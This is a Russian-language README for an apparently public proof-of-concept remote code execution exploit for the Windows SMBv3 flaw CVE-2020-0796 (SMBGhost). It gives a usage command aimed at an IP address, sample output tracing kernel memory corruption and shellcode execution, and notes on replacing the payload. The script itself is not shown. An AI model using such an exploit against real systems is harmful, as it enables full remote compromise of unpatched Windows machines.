
Эксплойт удаленного выполнения кода (proof-of-concept) для CVE-2020-0796 (SMBGhost), нацеленный на Windows SMBv3. Включает внедрение shellcode в ядро через манипуляцию кучей и повреждение сжатия LZNT1.
RCE PoC для CVE-2020-0796 "SMBGhost"
Только для демонстрационных целей! Используйте исключительно как справочный материал. Серьезно. Этот код не тестировался вне моей лабораторной среды. Он был написан быстро и требует доработок для повышения надежности. Иногда вы получаете BSOD. Использовать это для каких-либо целей, кроме самообразования, — крайне плохая идея. Ваш компьютер вспыхнет. Щенки умрут.
Теперь, когда с этим разобрались...
Пример использования:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Замените полезную нагрузку в USER_PAYLOAD в exploit.py. Максимум 600 байт. Если нужно больше, модифицируйте код ядра самостоятельно.
Код lznt1 взят отсюда. Модифицирован для добавления функции "плохого сжатия", которая повреждает заголовок буфера SRVNET, не вызывая сбоя.